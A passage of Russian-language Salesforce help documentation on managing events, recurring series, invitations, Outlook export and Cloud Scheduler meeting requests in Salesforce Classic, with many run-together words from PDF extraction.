ккалендарю. Менеджерывиерархииролеймогутиспользоватьотчетыдляпросмотра
событий, принадлежащих нижестоящим пользователям в иерархии ролей.
Редактирование таких событий для менеджеров не доступно.

Несение ответственности за событие одним пользователем
Ответственность за событие принадлежит только одному пользователю.
Переназначение встречи другому пользователю инициирует ее удаление из собственного календаря.

Отсутствие приглашений на встречи
Пользователи не могут отправлять приглашения на встречи. Тем не менее, при создании встречи в Salesforce Classic
и отправке приглашения календарь пользователя отображает данную встречу.

Отсутствие повторяющихся событий
Приложениенеподдерживаетсозданиеилиредактированиеповторяющихсобытий. Темнеменее, последовательности
повторяющихся событий, созданные в в Salesforce Classic, доступны для просмотра и редактирования в Lightning
Experience.

Отсутствие напоминаний о событиях
Lightning Experience не поддерживает напоминания о событиях.

Отсутствие часов работы в календаре
Календарь не поддерживает часы работы, заданные на странице личных параметров.

СМ. ТАКЖЕ:

Рекомендации по использованию задач в Lightning Experience

Рекомендации по использованию действий

Рекомендации по использованию событий и календарей в Salesforce Classic

ВЕРСИИ

Доступно в Salesforce
Classic в следующих
версиях: всех версиях,
кроме Database.com
Edition.

События с приглашенными
недоступны в версии:
Personal Edition.

Нижеперечисленырекомендациипо созданиюиобновлениюсобытий, владенииими
и приглашении в них пользователей Salesforce Classic.

Изменение событий

Полномочие на изменение событий других пользователей
Полномочие на изменение событий других пользователей определяется моделью
общего доступа к календарю организации и уровнем общего доступа к личному
календарю. Темнеменее, независимоот данныхпараметров, менеджерывиерархии
ролей всегда могут изменять события, принадлежащие их подчиненным.

Полномочие на изменение общедоступных календарей и календарей ресурсов
Полномочие на изменение событий в общедоступных календарях и календарях
ресурсов определяется моделью общего доступа к календарю.
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Изменения полей отдельных событий и их последовательности
Изменение, внесенноевполепоследовательности, переопределяетизменение, внесенноеранеевэтожеполеотдельного
события.

Удаление событий

Отклонение приглашений на события
При отклонении приглашения на событие система Salesforce удаляет событие из календаря пользователя. Событие,
содержащее приглашенных, может быть удалено только ответственным за событие.

Уведомление для удаленной последовательности событий
Удаление последовательности повторяющихся событий ответственным за событие инициирует отправку каждому
приглашенному электронного уведомления об отмене последовательности событий.

Обработка прошедших и будущих событий в удаленной последовательности
Удаление последовательности событий инициирует удаление только будущих событий. Удаление не влияет на
прошедшие события.

Удаленнаяпоследовательность, котораясодержитпрошедшиесобытия, неперемещаетсясистемой Salesforce вкорзину.
Как следствие, такую последовательность невозможно восстановить посредством корзины.

Удаленнаяпоследовательность, котораянесодержитпрошедшиесобытия, перемещаетсясистемой Salesforce вкорзину.
Отдельные события, являвшиеся частью последовательности, не перемещаются в корзину.

Обработка последовательности, восстановленной из корзины
Восстановление последовательности из корзины инициирует создание отдельных событий. Данные отдельные
события содержат сведения, определенные последовательностью, и любые отдельные изменения или дополнения,
внесенные перед удалением последовательности.

Удаленные общедоступные календари
Удаленный общедоступный календарь не перемещается системой Salesforce в корзину.

Повторяющиеся события ( )

Влияние изменений на последовательность событий и отдельные события в последовательности

Внимание: Изменения, внесенныевполяпоследовательностисобытий, переопределяютизменения, внесенные
ранее в поля отдельных событий.

При изменении любого из перечисленных ниже параметров приглашенным для всех будущих событий
назначается статус «Без ответа». Ответы приглашенных и другие изменения, внесенные в отдельные будущие
события, будут потеряны. Триггеры и бизнес-правила будут сброшены; ссылки на будущие события будут
повреждены.

• Флажок «Событие на весь день»

• Время начала или окончания

• Расположение

• Частота повторения

• Дата начала или окончания повторения (при отправке обновлений приглашенным)

При продлении даты окончания повторения без отправки обновлений будущие события не изменяются.
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Отображение исходного и нового времени начала или окончания для измененной последовательности
Обновленное время начала или окончания отдельного события повторяющейся последовательности отображается
в представлениях календаря и разделе «Календарь» вкладки «Начальная страница». Однако обновленное время
отдельного события отображается только после принятия или отклонения последовательности.

Максимальное количество приглашенных

Продолжительность событий
Если организация поддерживает многодневные события, то пользователи могут создавать события
продолжительностью не более 14 дней, кроме повторяющихся событий. При создании повторяющегося события
максимальная продолжительность отдельных событий последовательности составляет 24 часа. Если организация
поддерживаетмногодневныесобытия, топосле созданияпоследовательностипользователимогут создавать события
продолжительностью до 14 дней.

Напоминания о событиях
При создании повторяющегося события и установке флажка напоминания система будет отправлять напоминание
для каждого отдельного события в последовательности.

Вложения в события
Пользователи могут добавлять файлы в последовательности повторяющихся событий. После создания
последовательности пользователи могут добавлять или удалять вложения из каждого отдельного события в
последовательности.

Вложения отображаются только на странице сведений о событии, но не отображаются на страницах сведений о
другихсвязанныхзаписях. Приотсутствиисвязанногосписка «Вложения» на страницесведенийособытииобратитесь
к администратору Salesforce с просьбой добавить список в макет страницы событий.

Отправка приглашений и планирование ресурсов

Требования для доступа при отправке приглашений пользователям и ресурсам
Контактыиинтересы, приглашаемыена событие, должныбытьдоступныкакминимумдлячтения. Ресурсможетбыть
приглашен на событие только при наличии как минимум полномочия «Добавить события».

Полномочие на изменение событий с приглашенными
обозначает групповыесобытия. Изменениесобытия, содержащегоприглашенныхпользователей, доступнотолько

ответственному. Если событие не является повторяющимся, его можно назначить другому пользователю.

Электронное обновлениеможет быть отправлено всемприглашеннымили толькопользователям, добавленнымили
удаленным во время изменения.

Посещаемость событий
Отклонение события инициирует его удаление из календаря. Ответственный за событие не получает электронное
уведомление о принятии или отклонении приглашения.

Пакетное связывание событий с контактами (функция «Общедоступные действия»)

Максимальное количество связанных контактов
Событие может быть связано с 50 контактами (но только одним интересом) в поле «Имя», включая один основной

контакт. При отсутствии значка напротив поля «Имя» обратитесь к администратору с просьбой включить
функцию «Общедоступные действия».

Отсутствие поддержки повторяющихся событий или множества ответственных за событие
Пакетное связывание контактов недоступно для последовательности повторяющихся событий или события,
ответственными за которое являются несколько пользователей.
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Назначение событий коллегам

Ответственный за событие по умолчанию
По умолчанию событие назначается автору. Чтобы назначить независимые копии нового события нескольким

пользователям, щелкните рядомспараметром «Назначено». Воткрывшемсяокнещелкнитевкладку «Несколько
пользователей». Поле «Назначено» не поддерживается версией Personal Edition.

Проверка орфографии

Поддержка лишь части языков
При отсутствии функции проверки орфографии в поле «Описание» обратитесь к администратору Salesforce с
просьбой включить даннуюфункцию. Тем не менее, функция проверки орфографии поддерживает не все языки,
используемые системой Salesforce. Например, функция проверки орфографии не поддерживает тайский и русский
языки, а также некоторые языки с двухбайтовой кодировкой символов (японский, корейский и китайский).

События в Chatter

Новые события в лентах Chatter
Новое событие, связанное с записью (например, интерес, организация или настраиваемый объект), отображается в
лентесоответствующейзаписи. Любаяотслеживаемаязаписьотображаетэлементылентыдлявсехсобытий, независимо
от их автора.

Создание событий в лентах
Администратор Salesforce определяет возможность использования Chatter с целью создания событий для разных
типов записей. Например, ленты для доступных организаций позволяют просматривать, но не позволяют создавать
события.

Отсутствие повторяющихся событий в Chatter
Лента Chatter пользователя не отображает повторяющиеся события; Chatter не поддерживает отслеживание
повторяющихся событий.

СМ. ТАКЖЕ:

Представления календаря в Salesforce Classic

Приглашения и планирование в Salesforce Classic

ВЕРСИИ

Доступно в Salesforce
Classic в версиях: все
версии, кроме Personal
Edition и Database.com
Edition.

Salesforce Classic позволяет отправлять и принимать приглашения на встречи, а также
использовать Cloud Scheduler для определения времени проведения встречи. При
необходимости пользователи могут создавать встречи Microsoft® Outlook® для событий
Salesforce.

Отправка приглашений на событие и расписание ресурсов в Salesforce Classic

Система позволяет приглашать пользователей, контактов и интересов на встречу, а
также планировать ресурсы встречи.

Быстрое планирование встреч по поводу организации, контакта или интересующегося клиента в Salesforce Classic

Функция планирования с помощью перетаскивания позволяет пользователям планировать события, связанные с
организациями, контактами и интересами, прямо на странице спискового представления путем перетаскивания
записей из списковых представлений в представления календаря «Просмотр недели» и ввода сведений о событии в
область наложения.
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Создание встречи Outlook для события в Salesforce Classic

Ниже приводятся инструкции по созданию встречи Microsoft® Outlook® на основе сведений о событии.

Создание события в общедоступном календаре в Salesforce Classic

Общедоступный календарь содержит расписание событий, доступных группе пользователей (например, календарь
распродаждляотделапродаж). ПросмотркалендарядоступенпользователямSalesforce, входящимв группу, длякоторой
созданкалендарь. Добавлениесобытийвобщедоступныйкалендарьосуществляетсяаналогичнодобавлениюсобытий
в календарь пользователя.

Использование Cloud Scheduler для отправки запросов на проведение встреч в Salesforce Classic

Приложение Cloud Scheduler позволяет отправлять контакту, интересу, организации-лицу или сотруднику запрос на
проведение встречи.

Отклики на приглашения к событиям в Salesforce Classic

Приглашение на событие может быть принято или отклонено. Принятое приглашение может быть добавлено как
событие в приложение Outlook.

Отправка приглашений на событие и расписание ресурсов в Salesforce Classic

ВЕРСИИ

Доступно в Salesforce
Classic в следующих
версиях: все версии, кроме
Personal Edition и
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для отправки приглашений
на событие:
• «Редактирование

событий»

Системапозволяетприглашатьпользователей, контактовиинтересовна встречу, а также
планировать ресурсы встречи.

.

1. Нажмите кнопку «Выбрать» в разделе «Выбрать приглашенных» на странице
сведений о событии.

2. Выберитенужныйтипприглашенныхвдиалоговомокне «Выбратьприглашенных»:
пользователи, интересы, контакты или ресурсы.

3. Введите имя или его часть. Чтобы расширить область поиска, пропустите данное
поле. Нажмите кнопку «Найти».

4. Чтобы добавить или удалить пользователейили ресурсы, воспользуйтесь кнопками

и . Чтобы пригласить других пользователей или ресурсы, выполните
повторный поиск и выберите нужных приглашенных.

5. Нажмите кнопку «Готово».

6. При необходимости просмотрите календарь каждого приглашенного, а также
уточните дату и время события.
Доступностьприглашенныхобозначается следующимицветами: синий (занятость) икрасный (отсутствиенарабочем
месте). Приналичиинесколькихсобытийнаодновремякалендарьотображаетвсе события. Дляпросмотраподробных
сведений о событии наведите указатель мыши на нужное событие в календаре.

7. Чтобы удалить приглашенного из события, щелкните ссылку «Удалить» напротив имени нужного приглашенного.

8. Нажмите кнопку «Сохранить и отправить обновление».
Приглашенные интересы, контакты и лица-организации получат электронные сообщения, содержащие ссылку на
веб-страницу. Приглашенные могут принять или отклонить приглашение на событие или последовательность
событий. Краткое описание события также отправляется по эл. почте. Приглашенный ресурс, который свободен в
указанное время, принимает приглашение автоматически.
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Быстрое планирование встреч по поводу организации, контакта или интересующегося клиента в Salesforce
Classic

ВЕРСИИ

Доступно в Salesforce
Classic в следующих
версиях: все версии, кроме
Personal Edition и
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения функции
планирования с помощью
перетаскивания:
• «Настройка

приложения»

Для создания событий:
• «Редактирование

событий»

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания событий:
• «Редактирование

событий»

Функция планирования с помощью перетаскивания позволяет пользователям
планировать события, связанные с организациями, контактами и интересами, прямо на
странице спискового представления путем перетаскивания записей из списковых
представлений в представления календаря «Просмотр недели» и ввода сведений о
событии в область наложения.

При отсутствии ссылки «Открыть календарь» обратитесь к администратору с
просьбой включить функцию планирования с помощью перетаскивания.

1. Щелкните ссылку «Открыть календарь» внизу спискового представления.
Данное действие открывает еженедельное представление календаря.

2. Перетащите нужную запись из списка во временную область календаря.
Данное действие открывает всплывающее окно создания события. Событие
автоматическисвязываетсяс записью, перетаскиваемойизсписковогопредставления.

• Ссылка «Открыть календарь» отображается только в нижней части списковых
представлений организаций, контактов и интересов.

• Функция планирования с помощью перетаскивания недоступна для вкладки
«Консоль», событий с приглашенными участниками, повторяющихся событий,
режима доступности и приложения Connect Offline.

• Списковые представления, поддерживающиефункцию планирования с помощью
перетаскивания, могут загружаться немного дольше обычного.

• При изменении размера списка или календаря путем перетаскивания линии между
ними новый размер автоматически сохраняется для всех представлений,
поддерживающихфункцию планирования с помощью перетаскивания. При
необходимости размер списка или календаря может быть изменен.

Создание встречи Outlook для события в Salesforce Classic

ВЕРСИИ

Доступно в Salesforce
Classic в следующих
версиях: Все версии, кроме
Database.com.

Нижеприводятсяинструкциипосозданиювстречи Microsoft® Outlook®наосновесведений
о событии.

1. Нажмите кнопку «Добавить в Outlook» на странице сведений о событии.

2. Чтобыдобавитьсобытиевприложение Outlook, нажмитекнопку «Открыть». Чтобы
сохранить событиена компьютерев виде VCS-файла, нажмите кнопку «Сохранить».
Чтобы импортировать сохраненный VCS-файл, воспользуйтесь приложением
Outlook.

Встреча Outlook добавляется в папку «salesforce.com» и помечается как относящаяся к категории «salesforce.com», чтобы
избежать дублирования при синхронизации.

Ниже перечислены рекомендации по добавлению события в приложение Outlook.

• Разрывы строк, введенные в поле события «Описание», не отображаются при просмотре события в приложении
Outlook. При использовании VCS-файла разрывы строк заменяются двойными пробелами.

• Принеобходимости события Salesforceмогут быть синхронизированы с приложением Outlook посредством Exchange
Sync или Salesforce for Outlook.
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Прим.: Для добавления сообщений эл. почты Microsoft® Outlook® в Salesforce рекомендуем воспользоваться
приложениями Salesforce App for Outlook и Salesforce for Outlook. Данные приложения позволяют регистрировать
входящие и исходящие сообщения эл. почты в качестве задач Salesforce. Затем данные задачи могут быть связаны с
нужными контактами, интересами или другими записями.

Создание события в общедоступном календаре в Salesforce Classic

ВЕРСИИ

Доступно в Salesforce
Classic в следующих
версиях: Все выпуски, кроме
Personal Edition, Group
Edition и Database.com

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания события в
общедоступном календаре:
• «Редактирование

событий»

Общедоступный календарь содержит расписание событий, доступных группе
пользователей (например, календарьраспродаждляотделапродаж). Просмотркалендаря
доступен пользователям Salesforce, входящим в группу, для которой создан календарь.
Добавление событий в общедоступный календарь осуществляется аналогично
добавлению событий в календарь пользователя.

1. Чтобы выбрать общедоступный календарь, щелкните ссылку «[Изменить]» в
представлении календаря.

2. Выберите время и дату события.

• Чтобы добавить событие на определенное время, щелкните ссылку времени
(например, «9:00 AM») в представлении дня.

• Чтобы добавить событие на определенную дату, щелкните в представлении
недели или месяца.

3. Введите сведения о событии.

4. Нажмите кнопку «Сохранить». Чтобысохранить событиеи создать задачу, нажмите
кнопку «Сохранить и создать задачу». Чтобы сохранить событие и создать
дополнительное событие, нажмите кнопку «Сохранить и создать событие».

Использование Cloud Scheduler для отправки запросов на проведение встреч в Salesforce Classic

ВЕРСИИ

Доступно в Salesforce
Classic в версиях: все
версии, кроме Personal
Edition и Database.com
Edition.

Приложение Cloud Scheduler позволяетотправлятьконтакту, интересу, организации-лицу
или сотруднику запрос на проведение встречи.

Принцип действия Cloud Scheduler в Salesforce Classic

Если приложение Cloud Scheduler используется для отправки запросов контакту,
интересу, организации-лицу или коллеге в Salesforce, то система Salesforce создает
уникальную веб-страницу встречи, которая отображает предложенное время ее
проведения. Данная страница позволяет приглашенным выбирать оптимальное
время и отправлять свои ответы. Система Salesforce отслеживает все полученные
ответы, поэтому при подтверждении встречи организатор может выбрать оптимальное для всех время.

Запрос конференции в Salesforce Classic

Рекомендуемиспользоватьприложение Cloud Scheduler дляотправки запросов контакту, интересу, организации-лицу
или сотруднику.

Советы по выбору времени проведения конференции в Salesforce Classic

При отправке запроса посредством приложения Cloud Scheduler пользователь может выбрать время проведения
встречисамостоятельноилипредоставитьданноеправосистеме Salesforce. Рекомендуемразрешитьсистеме Salesforce
определениевременипроведениявстречи, если запросможетбытьпросмотренпервымприглашеннымпоистечении
долгого периода после его отправки. Например, если запрос, отправленный организатором в понедельник,
просматривается контактом в четверг, то система Salesforce предлагает время, начиная с четверга, а не понедельника.
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Изменение приглашенных для запрошенной конференции в Salesforce Classic

Если приложение Cloud Scheduler используется для создания запроса конференции, можно добавить и удалить
приглашенных в любой момент.

Повторное планирование запрошенной конференции в Salesforce Classic

Неподтвержденная встреча, запрошенная посредством приложения Cloud Scheduler, может быть запланирована
повторно путем выбора новых временных промежутков. Обратите внимание, что новые временные промежутки не
могутбыть выбраныдляподтвержденнойвстречиввиду еепреобразованияв событие. Чтобыповторнозапланировать
событие, измените дату события и отправьте обновление приглашенным.

Проверка запрошенной конференции в Salesforce Classic

Послеотправки запросапосредствомприложения Cloud Scheduler дождитесь ответов отприглашенных, содержащих
оптимальноевремяпроведениявстречи. Приполученииответа система Salesforce отправляетэлектронноеуведомление
и автоматически обновляет сведения о встрече. При необходимости выберите оптимальное время и подтвердите
проведение встречи.

Отмена запрошенной конференции в Salesforce Classic

Неподтвержденную конференцию, созданную через запрос в Cloud Scheduler, можно отменить, после чего Salesforce
автоматически рассылает уведомление об отмене всем приглашенным. При подтверждении встреча преобразуется
в событие, доступное для удаления подобно любому другому событию.

Принцип действия Cloud Scheduler в Salesforce Classic

ВЕРСИИ

Доступно в Salesforce
Classic в следующих
версиях: Все выпуски, кроме
Personal Edition и
Database.com

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для отправки запроса на
проведение встречи:
• «Редактирование

событий»

И

«Отправка эл. почты»

Еслиприложение Cloud Scheduler используетсядляотправкизапросовконтакту, интересу,
организации-лицу или коллеге в Salesforce, то система Salesforce создает уникальную
веб-страницу встречи, которая отображает предложенное время ее проведения. Данная
страница позволяет приглашенным выбирать оптимальное время и отправлять свои
ответы. Система Salesforce отслеживает все полученные ответы, поэтому при
подтверждении встречи организатор может выбрать оптимальное для всех время.

Действие 1. Организатор отправляет запрос и предлагает время проведения
встречи.

Откройте раздел «Календарь» вкладки «Начальная страница» или связанный список
«Открытые действия» на странице сведений о нужном контакте, интересе или
организации-лице. Чтобыоткрытьстраницу «Запроснапроведениевстречи», нажмите
кнопку «Создать запрос на проведение встречи».
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1. Чтобы пригласить на встречу сотрудников, интересы, контакты или организации-лица, нажмите кнопку «Кому».

2. Выберите в календаре не более пяти временных промежутков или предоставьте это право системе Salesforce.

Действие 2. Приглашенные выбирают удобное время.

Система Salesforce отправляет электронный запрос на проведение встречи, позволяющий приглашенным выбрать
удобное время.

1. Чтобыоткрытьвеб-страницувстречи, приглашенныйдолженнажатькнопку «Ответитьназапрос» вполученном
запросе.

2. Данная страница позволяет приглашенным выбирать оптимальное время и отправлять свои ответы.

Действие 3. Организатор подтверждает встречу.

Система Salesforce продолжает отслеживать все ответы, позволяющие просматривать доступность каждого
приглашенного. При необходимости выберите оптимальное время и подтвердите проведение встречи.
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Запрос конференции в Salesforce Classic

ВЕРСИИ

Доступно в Salesforce
Classic в следующих
версиях: Все выпуски, кроме
Personal Edition и
Database.com

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для отправки запроса на
проведение встречи:
• «Редактирование

событий»

И

«Отправка эл. почты»

Рекомендуемиспользоватьприложение Cloud Scheduler дляотправки запросов контакту,
интересу, организации-лицу или сотруднику.

Прежде чем использовать приложение Cloud Scheduler, просмотрите перечисленные
ниже рекомендации.

• Наличиекакминимумполномочия «Чтение» дляприглашенныхконтактов, интересов
и организаций-лиц.

• Запись каждого приглашенного должна содержать адрес эл. почты, используемый
системой Salesforce для отправки запроса на проведение встречи.

• Разрешается приглашать не более 50 участников на встречу. Приглашение может
быть отправлено только контактам, интересам или организациям-лицам, только
сотрудникам, использующим Salesforce, или всем вместе.

• Рекомендуем установить приложение Salesforce for Outlook, позволяющее
синхронизировать календарные события между системой Salesforce и приложением
Microsoft® Outlook®.

При выборе временипроведения встречи рекомендуемиспользовать обновленный
календарь Salesforce, отображающий текущую занятость.

Чтобы отправить запрос на проведение встречи, выполните указанные ниже действия.

1. Откройтераздел «Календарь» вкладки «Начальная страница» илисвязанныйсписок «Открытыедействия» на странице
сведений о нужном контакте, интересе или организации-лице.

2. Нажмите кнопку «Создать запрос на проведение встречи».

Если данная кнопка не отображается в разделе «Календарь» вкладки «Начальная страница» или связанном списке
«Открытые действия», обратитесь к администратору Salesforce.

3. Чтобы пригласить на встречу сотрудников, интересы, контакты или организации-лица, нажмите кнопку «Кому».

a. Выберите типприглашенногоизраскрывающегося списка. Организации-лицаотображаются врезультатепоиска
по контактам и могут быть добавлены в качестве приглашенных.

b. Введите имя или его часть. Чтобы расширить область поиска, пропустите данное поле.

c. Нажмите кнопку «Начать».

d. Установитефлажкинапротивнужныхпользователейвразделе «Результатыпоиска» инажмите кнопку «Вставить
выбранное». Чтобы добавить других приглашенных, выполните новый поиск и выберите нужных людей.
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Пользователь, имя которого помечено значком предупреждения ( ), не может быть приглашен на встречу, так
как его запись не содержит адреса эл. почты. Чтобы пригласить данного пользователя на встречу, дополните его
запись адресом эл. почты.

e. Нажмите кнопку «Готово».

f. Чтобы удалить приглашенногопользователя, щелкните значок «x» напротив именинужного пользователя в поле
«Кому». Если запрос на проведение встречи отправлен посредством связанного списка «Открытые действия», то
некоторые приглашенные не могут быть удалены. Как правило, система не позволяет удалять первый контакт,
интерес или организацию-лицо в поле «Кому».

4. Введите тему и местоположение.

Если запрос на проведение встречи отправлен посредством связанного списка «Открытые действия», то стандартная
тема содержит имя организации для интереса или контакта и название компании, указанное на странице личных
сведений. Например, встречи, созданной организатором из компании ACME для контакта из компании Sterling, по
умолчанию присваивается следующая тема: «Sterling и ACME». Местоположению встречи по умолчанию
задается значение «Подлежит определению».

5. Откройте одну из перечисленных ниже вкладок.

• «Время проведения встречи определяется мною»: выбор не более пяти временных промежутков в календаре.

• «Время проведения встречи определяется Salesforce»: выбор временного интервала и продолжительности
встречи, а также предоставление системе Salesforce права выбора не более пяти временных промежутков.

6. Нажмите кнопку «Далее».

7. Напишите сообщение и нажмите кнопку «Отправить».

Обратите внимание на перечисленные ниже примечания.

• Электронная подпись пользователя добавляется в сообщение автоматически.

• Система Salesforce отправляет запрос на проведение встречи при нажатии кнопки «Отправить».

• Веб-страницавстречиотображает все сообщениямеждуорганизаторомиприглашенными. Аименно: сообщения,
созданные приглашенными при ответе на запрос.

• Если запрос на проведение встречи отправлен посредством связанного списка «Открытые действия», то встреча
отображается только на странице сведений о соответствующем контакте или интересе. Конференция не
отображаетсяв связанномсписке «Открытыедействия» любогодругогоприглашенного. Например, запрошенная
встреча, созданная на странице сведений о контакте Мария Кузнецова и позже дополненная контактом Иван
Петров посредством кнопки «Кому», отображается только в связанном списке «Открытые действия» для контакта
Мария Кузнецова. Если запрос на проведение встречи отправлен посредством раздела «Календарь» вкладки
«Начальная страница», то встреча не отображается в связанном списке «Открытые действия» обоих контактов.

После отправки запроса дождитесь ответов от приглашенных, содержащих оптимальное время проведения встречи.
Чтобы подтвердить встречу, выберите окончательное время ее проведения.
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Советы по выбору времени проведения конференции в Salesforce Classic

ВЕРСИИ

Доступно в Salesforce
Classic в следующих
версиях: Все выпуски, кроме
Personal Edition и
Database.com

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для отправки запроса на
проведение встречи:
• «Редактирование

событий»

И

«Отправка эл. почты»

При отправке запроса посредством приложения Cloud Scheduler пользователь может
выбрать время проведения встречи самостоятельно или предоставить данное право
системе Salesforce. Рекомендуем разрешить системе Salesforce определение времени
проведения встречи, если запрос может быть просмотрен первым приглашенным по
истечении долгого периода после его отправки. Например, если запрос, отправленный
организаторомвпонедельник, просматриваетсяконтактомвчетверг, тосистема Salesforce
предлагает время, начиная с четверга, а не понедельника.

Выборвременипроведения встречи

Если время проведения встречи определяется пользователем самостоятельно:

• Предложенные временные промежутки не сохраняются в календаре Salesforce.
Конференция отображается в календаре только после ее подтверждения.

• Предложенные временные промежутки отображаются приглашенному в часовом
поясе организатора. Предложенные временные промежутки не отображаются в
часовых поясах приглашенных.

• Предложенное время не может быть в прошлом (до черной черты в календаре).

• Затененные области календаря соответствуют времени занятости организатора и
другихприглашенныхпользователейна основе календарей Salesforce.Более темные
области соответствуют одновременной занятости нескольких сотрудников.

• Чтобы изменить продолжительность встречи, воспользуйтесь полем «Продолжительность».

• Чтобы удалить предложенное время, наведите указатель мыши на нужное время и щелкните значок «x».

Определение временипроведения встречи системой Salesforce

Если время проведения встречи определяется системой Salesforce:

• Предложенные временные промежутки могут быть просмотрены только после отправки запроса на проведение
встречи. Припросмотре запроса первымприглашенным система Salesforceпроверяет календари всех приглашенных
сотрудников и выбирает время проведения встречи на основе их доступности.

Система Salesforceнепредлагает временныепромежутки, выбранныеприглашеннымидля другихнеподтвержденных
встреч. Например, если организатор отправляет запрос на следующие 5 рабочих дней, а приглашенные выбирают
вторник и среду с 14:00 до 15:00, то при отправке другого запроса на данные временные промежутки система Salesforce
предлагает вторники среду с 14:00 до 15:00 только в случае полной занятости календаряподтвержденнымивстречами
и другими событиями.

• По умолчанию система Salesforce предлагает время с 9:00 до 17:00 часового пояса организатора. Тем не менее, при
изменении полей «Начало дня» и «Конец дня» на странице личных сведений система Salesforce использует
введенные значения.

Прим.: Чтобы исключить определенные часы (например, обеденный перерыв), запланируйте повторяющееся
событие в календаре Salesforce.

Таблица ниже описывает параметры, определяющие способ выбора времени проведения встречи системой Salesforce.

ОписаниеПоле

Длительность встречи.Продолжительность
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ОписаниеПоле

Временной диапазон, используемый системой Salesforce
для выбора.

Временной интервал

• «В течение 5 рабочих дней»/«В течение 10 рабочих
дней»: система Salesforce растягивает предложенное
время на указанный временной интервал. Например,
если организатор устанавливает переключатель «В
течение 5 рабочих дней», а первый приглашенный
просматривает запрос в понедельник, то система
Salesforce предлагает время проведения встречи для
каждого дня данной недели. Если некоторые дни
полностью заняты, то система Salesforce сокращает
количество дней.

Субботы и воскресенья не являются рабочими днями.

• «В любое время»: система Salesforce предлагает 5
временных промежутков в течение следующих
5 рабочих дней; при наличии менее 5 временных
промежутков система расширяет диапазон поиска до
10 рабочихдней. Еслисистема Salesforceнаходитменее
5 временных промежутков, то диапазон поиска снова
расширяется — до следующих четырех недель.

При выборе данного значения некоторые временные
промежутки, предложенные системой Salesforce, могут
составлять 7 недель (5 рабочих дней + 10 рабочих дней
+ 20 рабочих дней = 7 недель).
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Изменение приглашенных для запрошенной конференции в Salesforce Classic

ВЕРСИИ

Доступно в Salesforce
Classic в следующих
версиях: Все выпуски, кроме
Personal Edition и
Database.com

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для добавления и удаления
приглашенных из
запрошенной встречи:
• «Редактирование

событий»

И

«Отправка эл. почты»

Если приложение Cloud Scheduler используется для создания запроса конференции,
можно добавить и удалить приглашенных в любой момент.

1. Откройте страницу встречи одним из перечисленных ниже способов.

• Откройте вложеннуювкладку «Запрошенныевстречи» в разделе «Календарь»
вкладки «Начальная страница» ивыберите темунужнойвстречи. Есливложенная
вкладка«Запрошенныевстречи»неотображается, обратитеськадминистратору
с просьбой добавить эту вкладку в раздел «Календарь».

• Если запрос на проведение встречи отправлен посредством связанного списка
«Открытые действия» для контакта, интереса или организации-лица, выберите
тему нужной встречи в связанном списке.

• Откройте электронное уведомление, полученное при ответе приглашенного на
запрос, ищелкните ссылку «Просмотреть ответ и запланировать встречу».

2. Выполните одно из указанных ниже действий.

• Чтобы пригласить на встречу сотрудников, интересы, контакты или
организации-лица, нажмите кнопку «Кому».

• Чтобыудалитьприглашенногоизвстречи, щелкните значок «x» напротивимени
нужного приглашенного.

Если запрос на проведение встречи отправлен посредством связанного списка
«Открытые действия», то некоторые приглашенные не могут быть удалены. Как правило, система не позволяет
удалять первый контакт, интерес или организацию-лицо в поле «Кому».

Календарь обновляется автоматически на основе пользователей, добавленных или удаленных из встречи.

Прим.: Если страница содержит только кнопку «Закрыть», то запрошенная встреча не может быть изменена.
Обратитесь к организатору с просьбой изменить сведения о встрече или администратору Salesforce с просьбой
предоставить необходимые полномочия.

3. Нажмите кнопку «Отправить обновление».

4. Введитесообщение. Например, организаторможетуведомитьприглашенныходобавленииилиудалениипользователя
из встречи.

5. Щелкните один из указанных ниже параметров.

• «Отправить всем приглашенным»: отправка обновления всем текущим и добавленным приглашенным и
уведомления об отмене удаленным приглашенным.

• «Отправить только измененным приглашенным»: отправка обновления добавленным приглашенным и
уведомления об отмене удаленным приглашенным.
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Повторное планирование запрошенной конференции в Salesforce Classic

ВЕРСИИ

Доступно в Salesforce
Classic в следующих
версиях: Все выпуски, кроме
Personal Edition и
Database.com

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для повторного
планирования встречи:
• «Редактирование

событий»

И

«Отправка эл. почты»

Неподтвержденная встреча, запрошенная посредством приложения Cloud Scheduler,
может быть запланирована повторно путем выбора новых временных промежутков.
Обратите внимание, что новые временные промежутки не могут быть выбраны для
подтвержденной встречи ввиду ее преобразования в событие. Чтобы повторно
запланироватьсобытие, изменитедату событияиотправьтеобновлениеприглашенным.

Если страница содержит только кнопку «Закрыть», то запрошенная встреча не может
бытьизменена. Обратитеськорганизаторуспросьбойизменитьсведенияовстречеили
администратору Salesforce с просьбой предоставить необходимые полномочия.

1. Откройте страницу встречи одним из перечисленных ниже способов.

• Откройте вложеннуювкладку «Запрошенныевстречи» в разделе «Календарь»
вкладки «Начальная страница» ивыберите темунужнойвстречи. Есливложенная
вкладка«Запрошенныевстречи»неотображается, обратитеськадминистратору
с просьбой добавить эту вкладку в раздел «Календарь».

• Если запрос на проведение встречи отправлен посредством связанного списка
«Открытые действия» для контакта, интереса или организации-лица, выберите
тему нужной встречи в связанном списке.

• Откройте электронное уведомление, полученное при ответе приглашенного на
запрос, ищелкните ссылку «Просмотреть ответ и запланировать встречу».

2. Нажмите кнопку «Запланировать повторно» и выберите новые временные промежутки.

Конференция может быть подтверждена после получения ответов на обновленный запрос от приглашенных.

Проверка запрошенной конференции в Salesforce Classic

ВЕРСИИ

Доступно в Salesforce
Classic в следующих
версиях: Все выпуски, кроме
Personal Edition и
Database.com

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для подтверждения встречи:
• «Редактирование

событий»

И

«Отправка эл. почты»

После отправки запроса посредством приложения Cloud Scheduler дождитесь ответов
отприглашенных, содержащихоптимальноевремяпроведениявстречи. Приполучении
ответасистема Salesforce отправляетэлектронноеуведомлениеиавтоматическиобновляет
сведения о встрече. При необходимости выберите оптимальное время и подтвердите
проведение встречи.

